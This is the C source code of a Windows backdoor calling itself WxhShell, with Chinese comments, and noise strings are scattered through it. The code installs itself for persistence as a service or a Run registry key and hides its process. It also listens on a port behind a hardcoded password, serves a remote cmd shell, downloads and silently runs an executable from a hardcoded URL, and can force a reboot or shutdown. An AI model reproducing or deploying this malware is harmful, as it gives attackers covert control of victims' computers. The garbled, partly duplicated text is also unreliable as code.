iA. PROCNTQSIP NtQueryInformationProcess; Q?b14]6im Fm\"{)V:b static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; in+}/mwfC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x8Loyt_C {S/yL[S. HANDLE hProcess; "@R>J?Cc+ PROCESS_BASIC_INFORMATION pbi; ho8`sh>N GSclK|#tE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <8,o50`B if(NULL == hInst ) return 0; ]i(-I <` 1"Z@Q`} g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }En g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6+r$t# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZkL8 e ]]7mlQ if (!NtQueryInformationProcess) return 0; O[tvR:Nh f-DL:@crU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jk@]tAwoM if(!hProcess) return 0; 7C#`6:tI {3;AwhN0H if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &'cL%. vEf4HZ&w CloseHandle(hProcess); \(226^|j L,y6^J! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !It`+0S
b if(hProcess==NULL) return 0; Lg8nj< TF 7Q\|=$2 HMODULE hMod; P96pm6H_; char procName[255]; 5T sU Qc unsigned long cbNeeded; HeBcT^a V5+SWXZ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "$s~SIUB m/#a0~dB CloseHandle(hProcess); mF` B# UOQEk22 if(strstr(procName,"services")) return 1; // 以服务启动 c/c$D;T }Zl&]e return 0; // 注册表启动 21k5I #U } NM ]bgpP YK|bXSA[ // 主模块 $kR N
h6 int StartWxhshell(LPSTR lpCmdLine) wFG3KzEq ~ { h -iJlm SOCKET wsl; !9 fz(9 BOOL val=TRUE; /cc\fw1+ int port=0; o7IxJCL=Q struct sockaddr_in door; Uj&W<'I xsWur(> ] if(wscfg.ws_autoins) Install(); ~?B;!Csk 'SQG>F Uy port=atoi(lpCmdLine); (sVi\R nUkaz*4qU if(port<=0) port=wscfg.ws_port; f~ }H !i=nSqW WSADATA data; 9UvXC)R1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J2uZmEt N0#JOu}~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v\(2&* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H'Yh2a`!o door.sin_family = AF_INET; sz9L8f2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); NcY608C door.sin_port = htons(port); @?h/B=56 R8.CC1Ix if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K~ ;45Z2 closesocket(wsl); 1S@vGq} return 1; JxyB( } q^6 +!&" A*W)bZs. if(listen(wsl,2) == INVALID_SOCKET) { ve&zcSeb closesocket(wsl); DxJX+.9K9 return 1; 'Ei;^Y 1e } fS^!ZPe1 Wxhshell(wsl); aZ\UrV4, WSACleanup(); 2t $ j ;5@ t[r return 0; ZE%YXG TX#m&vh } #-h\. #s #A]-ax?Qc} // 以NT服务方式启动 ?
w^- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7Pa@1'] { A&>.74}p DWORD status = 0; "?| > btr DWORD specificError = 0xfffffff; o/ui)U_ Y#g4$"G9 serviceStatus.dwServiceType = SERVICE_WIN32; ([xo9FP ; serviceStatus.dwCurrentState = SERVICE_START_PENDING; u ElAnrm serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iOG[>u0h serviceStatus.dwWin32ExitCode = 0; 6m6zA/ serviceStatus.dwServiceSpecificExitCode = 0; NKQOUw:qn serviceStatus.dwCheckPoint = 0; u[{tb serviceStatus.dwWaitHint = 0; 6 PxW8pn n8.kE)? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); umdG(osR if (hServiceStatusHandle==0) return; cHa]xmy%r' p019)X|vx status = GetLastError(); s@fTj$h if (status!=NO_ERROR) &N;-J2M { /Wf^hA
serviceStatus.dwCurrentState = SERVICE_STOPPED; q{ O% | serviceStatus.dwCheckPoint = 0; J!DF^fLe serviceStatus.dwWaitHint = 0; }W
^: cp serviceStatus.dwWin32ExitCode = status; Ja
,Cvt serviceStatus.dwServiceSpecificExitCode = specificError; Kt(-@\)! SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6)BR+U return; J+f!Ar } WKSPBT; u<nLag serviceStatus.dwCurrentState = SERVICE_RUNNING; ,~?YBLw@c serviceStatus.dwCheckPoint = 0; RN@ctRS serviceStatus.dwWaitHint = 0; h`3eu;5) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E_zIg+(+ } `8FUX= Sh ZNx$r]4nF // 处理NT服务事件,比如:启动、停止 5y?-fT]X VOID WINAPI NTServiceHandler(DWORD fdwControl) [b$4Shx { aj}(E+ switch(fdwControl) kHqzt g { 2./3 \n2 case SERVICE_CONTROL_STOP: D_8x6`z serviceStatus.dwWin32ExitCode = 0; 1nu^F,M serviceStatus.dwCurrentState = SERVICE_STOPPED; B^^r\L9 serviceStatus.dwCheckPoint = 0; K5"#~\D serviceStatus.dwWaitHint = 0; @&}q}D { Vi$-Bw$@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); (<
=}]v } 07hF2[i return; @'=Uq case SERVICE_CONTROL_PAUSE: }Nb8}(6 serviceStatus.dwCurrentState = SERVICE_PAUSED; K!KMQr` break; 7h)iu9j case SERVICE_CONTROL_CONTINUE: ~gu3g^<0v serviceStatus.dwCurrentState = SERVICE_RUNNING; $k$4%
7 break; ~i.k$XGA case SERVICE_CONTROL_INTERROGATE: C R|lt break; nB] >!q }; X*L;.@xA SetServiceStatus(hServiceStatusHandle, &serviceStatus); wRrnniqf8 } W}|'#nR [ib P%xb // 标准应用程序主函数 |g3?y/l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w4LScvBg { CZbYAxNl :EHJ\+kejX // 获取操作系统版本 z(\4M==2O OsIsNt=GetOsVer(); 7w1wr)qSB GetModuleFileName(NULL,ExeFile,MAX_PATH); 0dh=fcb 8 B**8yg. // 从命令行安装 ?i`l[+G if(strpbrk(lpCmdLine,"iI")) Install(); L_w+y !s@Rok // 下载执行文件 ^3hn0DVQ if(wscfg.ws_downexe) { e]Zngt?b if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |!F5.%PY WinExec(wscfg.ws_filenam,SW_HIDE); A?G^\I~v } $TI5vhQ
iS?42CV if(!OsIsNt) { &5L<i3BX // 如果时win9x,隐藏进程并且设置为注册表启动 P+)DsZ0ig HideProc(); xTGxvGv8 StartWxhshell(lpCmdLine); rS1fK1dys } "YB**Y else jzK5-;b if(StartFromService()) G7=pBf // 以服务方式启动 s{w[b\rA StartServiceCtrlDispatcher(DispatchTable); !p1qJ [ else M?/jkc.8H // 普通方式启动 zB?
V_aT StartWxhshell(lpCmdLine); 0cT*z( 7$rjlVe return 0; |X`/ } }za[E>z .6OgO{P: VAC iVKk .IJ_jt-^d =========================================== /\)a iKas/8 &
/4k7X}y FW"^99mrnb O+RP3ox" RaTH\>n " <9sO F,5r9^,_ #include <stdio.h> }$\M{#C~ #include <string.h> "z<azs #include <windows.h> MC,>pR{ #include <winsock2.h> H'qG/@u-l #include <winsvc.h> =YG _z^' #include <urlmon.h> 7#<c>~
%okzOKKX #pragma comment (lib, "Ws2_32.lib") CU7F5@+ #pragma comment (lib, "urlmon.lib") ?b!Fa sK=0Np=` #define MAX_USER 100 // 最大客户端连接数 .ZMW>U> #define BUF_SOCK 200 // sock buffer fw; rbP! #define KEY_BUFF 255 // 输入 buffer =H<0o?8?c JCY~W=;v #define REBOOT 0 // 重启 a=TG[* s #define SHUTDOWN 1 // 关机 ?`[NFqv_] AfC>Q!-w #define DEF_PORT 5000 // 监听端口 .qA{x bu FWC5&tM #define REG_LEN 16 // 注册表键长度 "G:<7oTa #define SVC_LEN 80 // NT服务名长度 V]S1X^ J1XL<7 // 从dll定义API tDDy]==E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H[b}kZW:a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B-d(@7,1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s
s
3t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q o =Kqv 3gQPKBpc // wxhshell配置信息 e5Mln!.o struct WSCFG { d`d0N5\ int ws_port; // 监听端口 A?Wk
wf char ws_passstr[REG_LEN]; // 口令 ,i.%nZw\ int ws_autoins; // 安装标记, 1=yes 0=no 7DlOW1| char ws_regname[REG_LEN]; // 注册表键名 EVQ0l@K
char ws_svcname[REG_LEN]; // 服务名 xmGk*W)P char ws_svcdisp[SVC_LEN]; // 服务显示名 h O
emt char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ $fJRR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V\K<$?oUb int ws_downexe; // 下载执行标记, 1=yes 0=no a ,7&" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" , %YBG1E[y char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gK|R =J s/Xb^XjS1 }; 7<9L?F2 UofTll) // default Wxhshell configuration 6b~28 struct WSCFG wscfg={DEF_PORT, eo^/c+FG "xuhuanlingzhe", $j)hNWI 1, 2AVc?
9@ "Wxhshell", XN,,cU "Wxhshell", F^!mI7Z|(2 "WxhShell Service", mKq" 34F "Wrsky Windows CmdShell Service", <5@PWrU?[[ "Please Input Your Password: ", nW?R"@Zm 1, 69#8Z+dw7 "http://www.wrsky.com/wxhshell.exe", HEA eo! "Wxhshell.exe" Ri>?KrQF% }; N~ANjn/wL }%n5nLU` // 消息定义模块 }jSj+* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ml>( tec char *msg_ws_prompt="\n\r? for help\n\r#>"; /NF# +bx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .I$}KE) char *msg_ws_ext="\n\rExit."; \.e4.[%[2- char *msg_ws_end="\n\rQuit."; HI&kP+,y char *msg_ws_boot="\n\rReboot..."; y|_Eu: char *msg_ws_poff="\n\rShutdown..."; ep(g`e char *msg_ws_down="\n\rSave to "; w?csV8ot 8n4V
cu char *msg_ws_err="\n\rErr!"; 6@4n'w{" char *msg_ws_ok="\n\rOK!"; wb"RB
A9 A[UP"P~u/ char ExeFile[MAX_PATH]; `0#H]=$2h int nUser = 0; }1+%_|Y-E HANDLE handles[MAX_USER]; b4,jN~ci int OsIsNt; bdh(WJh% 6-,m}Ce\ SERVICE_STATUS serviceStatus; PI5j"u UO SERVICE_STATUS_HANDLE hServiceStatusHandle; wz -)1! TF+
l5fv // 函数声明 "r.2]R3 int Install(void); rVAL|0;3 int Uninstall(void); qX>Q+_^ int DownloadFile(char *sURL, SOCKET wsh); #WE]`zd int Boot(int flag); +_HdX
w# void HideProc(void); \Mi#{0f+q int GetOsVer(void); {,O`rW_eS int Wxhshell(SOCKET wsl); /c+)C" void TalkWithClient(void *cs); F@YV]u>N int CmdShell(SOCKET sock); qg,Nb int StartFromService(void); J.M.L$ int StartWxhshell(LPSTR lpCmdLine); >R,?hWT ]@xL=%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F!KV\?eM$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); I^Qx/uTKw ]jM^Z.mI+ // 数据结构和表定义 <6N_at3 SERVICE_TABLE_ENTRY DispatchTable[] = T% CxvZ { |LYKc.xo {wscfg.ws_svcname, NTServiceMain}, &+nRIv S_` {NULL, NULL} J l7z|Q S }; /3^P_\,>f fU*C/ d3 // 自我安装 u39FN?<^ int Install(void) >BqCkyM9Kf { ^GXEJU7U char svExeFile[MAX_PATH]; 'm1. X-$V HKEY key; (M% ;~y\ strcpy(svExeFile,ExeFile); .`L gYW aMCO"66b // 如果是win9x系统,修改注册表设为自启动 A'eAu if(!OsIsNt) { shi
Hy*(v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r*cjOrvI
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); StM/ RegCloseKey(key); F ! )-|n} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *PB/iVH%6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ch,| 1}bi RegCloseKey(key); {$TZ}z"DA return 0; J@bW^>g*6u } lYQtv=q } +J40wFI:y } )}|mDN&P else { Hcl"T1N* o`U|`4, // 如果是NT以上系统,安装为系统服务 F_PTMl=Q|J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BRtXf0~&p if (schSCManager!=0) *h,3}\ { %aLCH\e SC_HANDLE schService = CreateService 2YIF=YWO}, ( G)+Ff5e0L[ schSCManager, 6D*chvNA; wscfg.ws_svcname, Zps&[;R$- wscfg.ws_svcdisp, i]M"Cu* SERVICE_ALL_ACCESS, EX 9Z{xX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W'G{K\(/ SERVICE_AUTO_START, Nu.
(viQ} SERVICE_ERROR_NORMAL, -931'W[s, svExeFile, |e"/Mf[ NULL, OWV/kz5'H NULL, [#X|+M&u6 NULL, k|ip?O NULL, BHiOQ0Fs NULL {W'8T}q ); 6e:P.HqjA if (schService!=0) |F~88j{VN { T:#S86m CloseServiceHandle(schService); k.>6nho`TV CloseServiceHandle(schSCManager); ,|x\MHd?t_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >r:X~XnRUj strcat(svExeFile,wscfg.ws_svcname); D%
@KRcp^b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j1F w
U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]|BojSL_ RegCloseKey(key); E(/ sXji! return 0; 104!!m } : ~'Z(-a } S2}Z&X( CloseServiceHandle(schSCManager); ZV#$Z } 4@~a<P# } afy/K'~ 4f
jC return 1; K!7q!%Ju } @{bb'q['@ 5h(jeT8" // 自我卸载 *zSxG[s int Uninstall(void) =WjJN Q { $/.<z(F HKEY key; 2|s<[V3rP- i?W]*V~ply if(!OsIsNt) { :Fo4O'UC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EJ8I[( RegDeleteValue(key,wscfg.ws_regname); _]EyEa RegCloseKey(key); <4sj@C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kyK' RegDeleteValue(key,wscfg.ws_regname); sr4jQo RegCloseKey(key); qhN[Dj(d return 0; .o"<N } cLHF9B5 } *k!(ti[ } >Pyc[_j else { F1\`l{B,\ 4D GY6PS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3~:0?Zuq if (schSCManager!=0) Q-jf8A] { ~r PYJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lJlZHO if (schService!=0) &h\CS8nT% { V 1*Ad if(DeleteService(schService)!=0) { !+=Zjm4L CloseServiceHandle(schService); |a>}9:g,=* CloseServiceHandle(schSCManager); Y.(v{l return 0; Q;Q%SI`yT } {GK(fBE CloseServiceHandle(schService); PM8Ks?P#u } }D Z)W0RDe CloseServiceHandle(schSCManager); _o&94& } Jxn3$ } sK `<kbj 5^b i
7J return 1; Hw y5G; } h)^dB,~ RA}U#D:$i // 从指定url下载文件 wLpkUa int DownloadFile(char *sURL, SOCKET wsh) }$<^wt { .<HC[ls HRESULT hr; f.J9) lfb char seps[]= "/"; </|)"OD9 char *token; YsZ{1W char *file; !e&rVoA char myURL[MAX_PATH]; 2+,5p char myFILE[MAX_PATH]; |7]?>- J"5jy$30'$ strcpy(myURL,sURL); luibB&p1 token=strtok(myURL,seps); L
43`^;u while(token!=NULL) pXve02b1B { _O"L1Let file=token; {=s:P|ah token=strtok(NULL,seps); ]GQv4-y } ;*W=c 3mk=ZWwv GetCurrentDirectory(MAX_PATH,myFILE); T<f2\q8Uo= strcat(myFILE, "\\"); A%h~Z
a strcat(myFILE, file); Q! Kn|mnN send(wsh,myFILE,strlen(myFILE),0); F%9cS
: send(wsh,"...",3,0); #FEa 5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P@2tR5<R if(hr==S_OK) cES;bwQ return 0; %)8d{1at else C%0<1mp return 1; XO 0>t{G +mivqR~{{ } M8\G>0Hc6 HmhUc,EC // 系统电源模块 /X@7ju; int Boot(int flag) :-w@^mli { #m[vn^8B]y HANDLE hToken; 4g>1Gqv6 TOKEN_PRIVILEGES tkp; jo<>Hc{g> `E{;85bDH if(OsIsNt) { anK[P'Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?E%U|(S)=L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hr
/W6C tkp.PrivilegeCount = 1; 1a5?)D tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U&,r4>V@h> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6
M*b 6 if(flag==REBOOT) { >sn" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4xv9a;fP return 0; ?F)_T } )!N2'Ld else { }PtI0mZ1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iP2U]d~M return 0; :/>7$)+ } l{nB.m2 } mG>T`c|r3 else { 5tN%a>D% if(flag==REBOOT) { C]yvK} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z"l`e0{ return 0; 6].yRNy" } <+<)xwOQ ] else { (hpTJsZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?+bTPl;%' return 0; NnJ>0|74g } enPzy:C } Coga-: 2vu yonJd return 1; dD[v=Z_ } !}iLO0 ;X+G6F' // win9x进程隐藏模块 }UyzMy, void HideProc(void) h{Oz*Bq { Sja"(sJ U,oD44 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \B*k_W/r@ if ( hKernel != NULL ) Iu)L3_+ { $~
pr+Ei pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1i5 vW- '4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d [\>'> FreeLibrary(hKernel); zb@L)% } RH<@c^ S j)6@q@P/ return; /uy&2l } @#bBs9@gv [37f#p // 获取操作系统版本 VaD: int GetOsVer(void) OwNA N { #gxRTx OSVERSIONINFO winfo; {%]NpFg#b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {.s ]\C GetVersionEx(&winfo); 0z#l0-NdQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W)6U6 return 1; x(C]O, else Iu=pk@*O return 0; -=-x>(pRW7 } t:?<0yfp& B|$\/xO // 客户端句柄模块 H @3$1h&YS int Wxhshell(SOCKET wsl) !1ie:z>s { d+gk q\ SOCKET wsh; )a4E&D struct sockaddr_in client; ,U|u-.~ZU DWORD myID; Z&~k]R0y =2ATqb"$w while(nUser<MAX_USER) kcg)_]~6 { Wh#_9); int nSize=sizeof(client); y>)mSl@1y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w3>Y7vxiz` if(wsh==INVALID_SOCKET) return 1; ,gFL Wb`B' i~v@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kw*Cr/'* if(handles[nUser]==0) ]1/W8z% closesocket(wsh); zJB+C=]D7H else t[H _6) nUser++; Q%gY.n{= } u;l6sdo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Apw-7*/ 18[?dV return 0; 4wM$5 } IkE'_F L!G9O]WB // 关闭 socket ^>P@5gcoE( void CloseIt(SOCKET wsh) 3rXL0&3w% { 0{{p.n8a~ closesocket(wsh); &gKP6ANx2 nUser--; I&Eg-96@ ExitThread(0); erAZG) } rRA_'t;uK ;GSfN // 客户端请求句柄 R'1vjDuv void TalkWithClient(void *cs) K>DnD0 { ?j^?@%f0
`*uuB; SOCKET wsh=(SOCKET)cs; I?:+~q}lZr char pwd[SVC_LEN]; %(O^as char cmd[KEY_BUFF]; n
WO~v{h3J char chr[1]; cwDD(j
int i,j; eBLHT <O`q3u'l while (nUser < MAX_USER) { TZ[Fu{gZ c'wU O3S if(wscfg.ws_passstr) { U4mh! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' /@!"IXz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ['9OGV\ //ZeroMemory(pwd,KEY_BUFF); ]i_):@ i=0; Qbe{/ while(i<SVC_LEN) { !O%f)v? 8Vg`;_ - // 设置超时 OU
Yb- fd_set FdRead; ggYIq*4 struct timeval TimeOut; `P)64So-1 FD_ZERO(&FdRead); < 8W:ij.` FD_SET(wsh,&FdRead); A%sxMA!K, TimeOut.tv_sec=8; ,2:L{8_L TimeOut.tv_usec=0; y(p:)Iv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "b+3 &i| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ud~VQXZo 0,i+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A~~|X pwd=chr[0]; (WU~e!} if(chr[0]==0xd || chr[0]==0xa) { (*^E7
[w pwd=0; eJwii
break; -%QEzu& } Wf&G9Be?8 i++; fb S. } (}7o
a9Q< \FaB!7*~ // 如果是非法用户,关闭 socket 4j=@}!TBt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #@OKp,LJ } |H|eH~.yg& -QHzf&D? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B'#gs'fl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f@V{}&ZWp ,:Y=,[ n while(1) { -<VF6k< V1+o3g{} ZeroMemory(cmd,KEY_BUFF); =<tJAoVV IEKX'+t' // 自动支持客户端 telnet标准 OG<]`!" j=0; ?[|4QzR while(j<KEY_BUFF) { Y&!McM!Jw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~'YSVx& ) cmd[j]=chr[0]; #| e5 if(chr[0]==0xa || chr[0]==0xd) { 9?mOLDu}Q0 cmd[j]=0; XajY'+DIsz break; Z~R/p;@ } I>(z)"1 j++; $F'~^2 } IU"!oM ^ kO\&mL&
qD // 下载文件 kTe<1^,m if(strstr(cmd,"http://")) { 'bqf?3W send(wsh,msg_ws_down,strlen(msg_ws_down),0); #cg@Z if(DownloadFile(cmd,wsh)) T)?@E/VaS send(wsh,msg_ws_err,strlen(msg_ws_err),0); WlJRKM2 else <zWQ[^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bf}0'MK8zQ } dL Py%q else { !7Q.w/|= 5;%xqdD switch(cmd[0]) { p<.!::* %( m`w6wz // 帮助 gA8u E case '?': { ,PtR^" Mf4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (IWd?,H,n break; e@MCumc~+ } X!'Xx8 // 安装 @!tmUme1c case 'i': { 2/W0y!qh1 if(Install()) e&I.kC"j6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); R~u7;Wv else D}=i
tu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Kn+*' # break; 2yg'?tpj } p5 PON0dS // 卸载
rs
KE case 'r': { /IR5[67 if(Uninstall()) aQ3vG08L> send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Gs;3jC^ else Xrs~ove1V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h!3Z%M break; 2QD
B'xs3 } T</gWW // 显示 wxhshell 所在路径 cnO4NUDv case 'p': { HCZ%DBU96 char svExeFile[MAX_PATH]; -&^( T strcpy(svExeFile,"\n\r"); {nWtNyJpS strcat(svExeFile,ExeFile); D%}o26K.C send(wsh,svExeFile,strlen(svExeFile),0); &l)v' break; O[J+dWyp } Kct +QO( // 重启 v\T1,Z@N^ case 'b': { o=5uM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z?g4^0e if(Boot(REBOOT)) )x $Vy= send(wsh,msg_ws_err,strlen(msg_ws_err),0); */qc%!YV9 else { 0To
5|r closesocket(wsh); Rla*hc~ ExitThread(0); `t"Kq+ } &cejy>K break; ?n~j2-[< } 6@361f[ // 关机 ~H."{ case 'd': { jYx( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7q=xW6 if(Boot(SHUTDOWN)) |#,W3Ik(l send(wsh,msg_ws_err,strlen(msg_ws_err),0); )W#g@V)> else { p5w g+K closesocket(wsh); Vi~+C@96 ExitThread(0); D*b|(Oi } clV/i&]Qa break; 3
+9|7=d } TUCpmj // 获取shell l$@lk?dc case 's': { IKj1{nZvDc CmdShell(wsh); p{GDW_ closesocket(wsh); wYM{x!D ExitThread(0); NX/)Z&Fx: break; <o`]wOrl } `&DiM@Sm // 退出 ;f*xOdi*k case 'x': { ~|]\.^B send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wN.Jyb CloseIt(wsh); Ee| y[y, break; $^GnY7$!> } 8`<GplO // 离开 < duM8 case 'q': { 9a,CiH%@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); l0)6[yXK closesocket(wsh); $RO=r90o WSACleanup(); yx4c+(J^8 exit(1); >@W#@W*I@ break; 81C?U5 } g_=ZcGC } 6FAP *V; } /zAx`H $80/ub:R // 提示信息 Wb$bCR#?< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L@uKE jR } xEqrs6sR } 3iwZUqyq
EwsJa3
` return; <ZEll[0L } =uEhxsj)S M3;B]iRQD // shell模块句柄 *?\Nioii int CmdShell(SOCKET sock) vN+!l3O { =$J2 STARTUPINFO si; |&.)_+w ZeroMemory(&si,sizeof(si)); Vh&KfYY si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3._fbAN%e si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; igCtq!.a PROCESS_INFORMATION ProcessInfo; L"0L_G char cmdline[]="cmd"; Fh;(1X75I CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '-_PO|} return 0; ,y @3'~ } j=LF1dG" R8)"M(u=l // 自身启动模式 ,\IZ/1 int StartFromService(void) (Nf.a4O { it@s(1EO# typedef struct &,xM;8b { 7v_e"[s~ DWORD ExitStatus; ^W*/!q7H DWORD PebBaseAddress; TUt)]"h< DWORD AffinityMask; s.R(3}/ DWORD BasePriority; ,#6\:i ULONG UniqueProcessId; 9#7zjrB ULONG InheritedFromUniqueProcessId; H'.d'OE:I } PROCESS_BASIC_INFORMATION; -mF9Skj mBF?+/l PROCNTQSIP NtQueryInformationProcess; &3efJ?8 7Fx8&Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U ;/ )V static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @AFLF X] J^T66}r[f, HANDLE hProcess; ub&1L_K PROCESS_BASIC_INFORMATION pbi; L
$~Id `y(3:##p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n1|%xQBU@ if(NULL == hInst ) return 0; Q2o:wXvj [iD!!{6+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |qD<h g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '1+ Bgf NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~[{| s') ()Z$j,2 if (!NtQueryInformationProcess) return 0; s]qfLC 2= _.K( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %k~=iDk@ if(!hProcess) return 0; wFD.3! AWzpk}\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sQkP@Y q)/4i9
